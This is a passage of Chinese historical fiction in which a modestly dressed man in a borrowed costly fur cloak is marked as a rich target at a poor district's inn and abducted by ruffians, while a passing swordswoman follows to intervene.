慢慢地雪花落下,越下越急让本该热闹的街道瞬间安静。这种时节最好穿裘,动物的皮毛披在身上既能隔绝雪花,又保暖有加。
这裘也是分三六九等的,眼尖的店家仅凭借客官身披锦裘来判断此人身份地位。
就好比现在入店的这位,身披翠云裘,这衣裳可不是谁都能披,有钱都不一定能买到,定是达官显贵,还得是百年士族的老爷公子配得上。
“呦!客官里面请。”掌柜子越过店小二亲自迎接。
“可有雅间?”
“有,客官稍后。”掌柜立马冲着小二使眼色,让他赶紧去安排。自己则是跟着这位金主小心侍奉。
“掌柜子,您先去忙吧。”碎银子掏了出来,虽说不多,但什么都没做就被打赏,可见此人出手阔绰。掌柜接过银子将人送到雅间门口便离开了。
脱掉翠云裘,露出的却是件洗得泛白的棉袄。若是掌柜看到屋中景象,怕是会觉得自己识人不明。
蔺渊倒杯热茶暖了暖身子,那翠云裘是谢英见蔺渊衣物单薄随手留下的。价值三百两银子的翠云裘就被他这样丢给蔺渊,不得不说陈郡谢氏果然是财大气粗。
蔺渊所处的酒楼在城南,是京城最穷最乱之地,所以身披三百两银子招摇过市的蔺渊自然就被人给盯上。
禄来酒楼有肥羊的消息传的很快。
一些泼皮流氓不怀好意的包围住酒楼就等肥羊入圈。而楼上的蔺渊漫不经心的喝着茶,似乎对外边的一切毫不知晓。
热茶下肚,他披上翠云裘离开酒楼,漫天飞雪让泼皮们的耐心磨没,他们也不管蔺渊有没有走进深巷,也不管街上有没有人,干脆直接将人掳走。而这一幕正好让在此闲逛的唐黎看到。
她倒是没注意被抓走的人是谁,只是按照以往脾气路见不平。摸上腰间剑柄,唐黎跟着雪中脚痕一路跟踪而去。